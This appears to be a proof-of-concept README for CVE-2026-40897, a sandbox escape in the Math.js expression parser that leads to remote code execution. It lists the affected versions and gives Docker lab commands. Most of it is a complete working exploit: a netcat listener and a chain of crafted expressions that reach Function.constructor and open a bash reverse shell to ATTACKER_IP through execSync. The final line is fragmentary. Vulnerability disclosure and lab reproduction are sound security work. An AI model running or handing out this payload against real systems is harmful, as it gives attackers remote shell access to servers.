
Math.js Expression Parser RCE
★ CVE-2026-40897 Remote Code Execution in Math.js PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 is a Sandbox Bypass leading to Remote Code Execution vulnerability in Math.js's expression parser. The
isSafePropertyfilter only checks property access from user expressions, not from internal code paths. By leakingArrayNode'sinternal array viatoJSON()and overwriting its.map, an attacker can force internal code to accessFunction.constructorand execute arbitrary JavaScript.
| Category | Version |
|---|---|
| Vulnerable | Math.js 13.1.1 ≤ version ≤ 15.1.1 |
| Patched | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
After starting the vulnerable environment, follow the steps below to reproduce the attack.
nc -lvnp 4444
Send the following expression to math.evaluate (e.g., through the application's calculation input).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
The target server connects back to the attacker's listener, granting an interactive bash shell.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) through the expression parser